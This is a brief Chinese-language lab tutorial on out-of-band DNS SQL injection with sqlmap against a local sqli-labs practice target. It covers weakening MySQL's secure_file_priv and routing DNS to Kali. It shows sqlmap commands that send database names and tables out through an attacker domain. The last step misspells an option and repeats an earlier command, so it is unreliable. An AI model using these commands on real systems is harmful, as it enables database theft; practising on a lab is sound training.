一.实验环境

1.kali（使用sqlmap）
2.windows10（靶机）
3.windows 2008 R2 （ 需要设置dns服务器）下载镜像地址： https://msdn.itellyou.cn/

设置mysql

secure_file_priv为空，就可以读取磁盘的目录
secure_file_priv为D:\，就可以读取D盘的文件
secure_file_priv为null，load_file就不能加载文件
添加一句secure_file_priv=""

设置dns服务器

上面服务器这里填kali的ip，下面是主机首选dns服务器填服务器的ip

kali输入tcpdump -n port 53ping通有数据包就说明成功（如果ping不通服务器的ip的话就关掉防火墙）


也填kali的ip

二.SQLMap使用外带dns注入

取库

输入sqlmap -u "http://192.168.10.195/sqli-labs-master/Less-8/?id=1" --technique=T --dns-domain "hxp1.top" --dbs

获取表

kali输入sqlmap -u "http://192.168.10.195/sqli-labs-master/Less-8/?id=1" --technique=T --dns-domain "hxp1.top" -D security --tables

获取到列

输入sqlmap -u "http://192.168.10.195/sqli-labs-master/Less-8/?id=1" --technique=T --dns-domaim "hxp1.top" --dbs